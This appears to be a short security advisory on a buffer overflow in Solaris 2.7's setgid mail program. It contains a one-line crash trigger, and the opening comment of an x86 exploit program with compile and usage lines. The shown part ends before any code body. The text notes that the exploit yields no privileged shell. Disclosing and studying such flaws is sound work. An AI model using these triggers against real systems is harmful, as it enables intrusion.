There is a possible buffer overflow vulnerability in Solaris 2.7 sgid mail /usr/bin/mail. The reason it's only a possibility and not a full exploit is that mail drops sgid privileges before the overflow occurs. However, this is not necessarily a bulletproof method of making a program secure. Obviously mail needs these privileges to perform some function, probably opening the appropriate mail owned files to deliver mail.
Credit:
This vulnerability has been found by: Brock Tellier.
bash-2.02$ mail -m `perl -e "print 'A' x 2106"` foo
.
mail: ERROR signal 11
bash-2.02$
The following exploit code can be used to demonstrate the possibility of exploiting this hole:
--- solx86.c ---
/*
* Generic Solaris x86 exploit program by Brock Tellier
* Shellcode by Cheez Whiz
* gcc -o mailex solx86.c
* /usr/bin/mail -m `./mailex 0 1985 2285` foo
. <period, enter>
$ <not a rootshell ;)>
* Usage: ./mailex <offset> <NOPS> <BUFSIZE>
*
* Demonstrative program for mail vulnerability. mail apparently drops
privs
* before the overflow occurs so we're not going to have a sgid mail
shell.
* Perhaps someone could make some 'shellcode' to exploit an open file
* descriptor or something (whatever the reason mail is sgid mail).
*/